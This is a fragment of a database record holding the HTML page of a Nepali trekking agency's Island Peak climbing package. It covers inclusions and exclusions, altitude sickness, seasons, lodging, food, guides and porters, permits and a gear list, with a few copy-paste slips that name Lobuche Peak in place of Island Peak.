Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Lukla Flight Ticket (Before Trek), Lukla to Kathmandu flight Ticket ( After Trek)&nbsp;</li><li style=\"list-style-type:circle;\">Guide flight Ticket Kathmandu-Lukla-Kathmandu (Both way)&nbsp;</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation &nbsp;with Breakfast only during Everest Base Camp Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Everest/ Sagarmatha National Park Permit, Khumbu Pasang Lamu Rural municipality entrance Fee&nbsp;</li><li style=\"list-style-type:circle;\">Full board services in Island Peak Base Camp including Breakfast, Lunch, Dinner &amp; Tea Coffee</li><li style=\"list-style-type:circle;\">Sleeping Camping Tent, Mattress and Sleeping Bags in Island Peak Base Camp</li><li style=\"list-style-type:circle;\">Climbing Sherpa, his food, insurance, equipment and Salary</li><li style=\"list-style-type:circle;\">Island Peak permit and all legal document for Island Peak Climbing</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner During Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Everest Base Camp Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned.&nbsp;<br>&nbsp;</li></ul>', '<h3 style=\"text-align:justify;\"><span style=\"line-height:107%;\">Climbing Difficulty</span><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Climb to Himalayas is physically challenging having long time to going upwards and downwards with preparation of positive mentality. Technical parts is very important while climbing to Mountains such as changing ropes, using Jhumar, ice axe, helmet, boots, dress and more. For successful summit of Mountain one can be fully preparation physically and mentally. Mountain climbing is an adventure journey to rise up against the gravitational force; it is hard to climb over the rocky surface of Himalayas in the surface of plain land. And while you will be successful to climb in Himalayas that is very important memory in your life. Tiredness, struggle, Pain, success, smile and beauty comes together while climbing Mountain.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Is it difficult to climb Island Peak?</strong></span><span style=\"line-height:107%;mso-spacerun:yes;\"><strong>&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">You do not need to be a good Football player or Olympic athlete to success Lobuche Peak climbing though you must know technical skill of climbing because it is rock and Mountain. Island Peak Climbing is technically very challenging; so need proper physical and mental preparation to face any kind of difficulty. So it is technical climbing so need proper climbing gears and equipment to complete it.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Anyone who is mentally and physically fit can easily complete the climbing Island Peak. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced diet and mentally daring to reach top of Island Peak with happy mood are the hallmarks of your successful journey to destination with amazing view of top of the world (Everest). Though, Everest Base Camp trekking trail also gives you the positive vibration and helpful adventure to climb ahead of Island Peak.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>High Altitude Sickness&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">If the Climbers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness.</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; </span><span style=\"line-height:107%;\">The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Everest Base Camp, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Namche Bazaar. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while climbing to Island Peak.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Best Time to Climb</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">If you are looking trek to Everest Base Camp and Climb Island Peak, you must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature.</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; </span><span style=\"line-height:107%;\">Spring and autumn is considered as the best season to Climb Island Peak. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Accommodation&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">During the trekking trail to Everest Base Camp, trekkers sleep and eat in Tea houses. But during climbing section for night sleep, we will organize Camping Tents at Island Peak Base Camp. We also serve food and during climbing section.</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; </span><span style=\"line-height:107%;\">Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. During Base Camp of Island Peak, the climbers sleep in camping tent where all meals will be serve by Adventure Planner climbing crew.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Food and water&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Food and water is very important things during the trekking to Everest Base Camp and climbing section. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">During climbing section of Island peak, we provide Dal bhat which is local food and also provides noodles, soup, Breakfast such as Toast, Omelet egg, Tea Coffee and so on.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Hire a Guide&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek, Langtang region trek or other trekking trail, our guide makes successful effort to complete the trip. We will send climbing guide from Kathmandu with you who will help for both section such as trekking and climbing section.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Hire a Porter&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Kathmandu, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</span><br>&nbsp;</p><p class=\"MsoNormal\" style=\"text-align:justify;\"><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Porters will not sleep in Island Peak Base Camp, they will help you for transporting things to Base Camp from Chukung and return back to Chukung and next day after your successful summit they will again go to Base Camp for pick up the things such as tent and baggage. Our guide will manage the porters from Lukla so they no need to fly from Kathmandu with the group.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Telephone and Internet&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">The internet, telephone and mobile phone is available all the way to Everest Base Camp. There are multiple option for Internet and mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Even the guest houses have WI-FI during the trek to EBC, which is not free, may charge to you. But during Base Camp of lobuche Peak, the telephone does not work.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Toilet and Shower&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trek to Everest Base Camp, toilet and shower should be shared by all trekkers due to common Tea houses only with normal beds in the Room. There are the opportunity of attached Room with toilet and Shower in some places; we provide it where possible to get it.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">But during the time of bad weather for example if heavy snow at that time it is hard to get shower in Lobuche and Everest Base Camp. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to EBC.</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">During climbing section in Island Peak Base Camp we will have toilet tent and you can make toilet inside the tent as we will make it.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Climbing Insurance&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Climbing insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 6,200 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for EBC and Island Peak Climbing.&nbsp;</span></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Climbing Permit&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Everest national park permit cost 30$ per person in which our agency provide it after getting passport size photo and passport copy, connecting with Nepal Tourism Board. TIMS (Trekking Information Management System) is also required for EBC trek, it cost 10$ per person. Even our guide can busy this permit on during the trek either in Lukla or Monjo. Also need Khumu Pasang Lamu Municipality Fee; it cost per person 20$.&nbsp;</span><br><br><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">Island peak Climbing Permit is different in season wise. During spring season it cost 250$ per person whereas during autumn season it cost 125$ per person.&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Climbing Equipment List</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">While trekking to Everest Base Camp and Island Peak Climbing; need to sufficient trekking/climbing gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Everest Base Camp and Island Peak Climbing&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Sleeping Bag (-20)&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Trekking poles&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Waterproof hiking boot</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Water proof warm Gloves</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Sport shoes&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Waterproof hiking Pant</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Fleece pant</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Comfortable underwear&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Warm and thin socks&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Duffel Bag, 90L</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Hand carry bag&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Water bottle</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Hiking Shorts&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Down Jacket</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Warm Cap &amp; Sun Cap&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Sun Glass</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Sun Cream</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style=\"line-height:107%;\">Lip care&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Headlamp with extra batteries</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Neck Gaiter</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Lightweight thermal tops</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Waterproof jacket with hood, waterproof and breathable</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Rain coat&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Travel Towel</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Camera</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-tab-count:1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style=\"line-height:107%;\">Personal first Aid Kit (Though our guide also have First Aid Kit)&nbsp;</span><o:p></o:p></p><h3 class=\"MsoNormal\" style=\"text-align:justify;\"><b style=\"mso-bidi-font-weight:normal;\"><span style=\"line-height:107%;\"><strong>Climbing Gears&nbsp;</strong></span></b><o:p></o:p></h3><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style=\"line-height:107%;\">Climbing Rope (Company will organize it)&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Mountaineering Boots</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style=\"line-height:107%;\">Crampons</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Climbing Helmet</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Ice Axe&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Jhumar&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Harness&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\"><span style=\"line-height:107%;\">-</span><span style=\"line-height:107%;mso-spacerun:yes;\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</span><span style=\"line-height:107%;\">Descender (figure of 8)&nbsp;</span><o:p></o:p></p><p class=\"MsoNormal\" style=\"text-align:justify;\">&nbsp;</p><p class=\"MsoNormal\" style=\"text-align:justify;\">&nbsp;</p>', 'Island Peak Climbing | Peak Climbing in Nepal | Nepal Climbing expeditions 2024', 'Conquer Island Peak with Adventures Planner! Experience the thrill of climbing in the Everest region, breathtaking views, and rich Sherpa culture. Join us for an unforgettable journey to the summit!', 'Island Peak climbing, Everest region trek, Nepal climbing expeditions, high-altitude adventure,Ultimate Adventure in the Himalayas, trekking in Nepal, Island Peak summit, mountaineering in Nepal, island peak climbing in nepal, peak climbing in nepal', NULL, '2023-07-18 06:32:28', '2024-09-19 14:06:47');
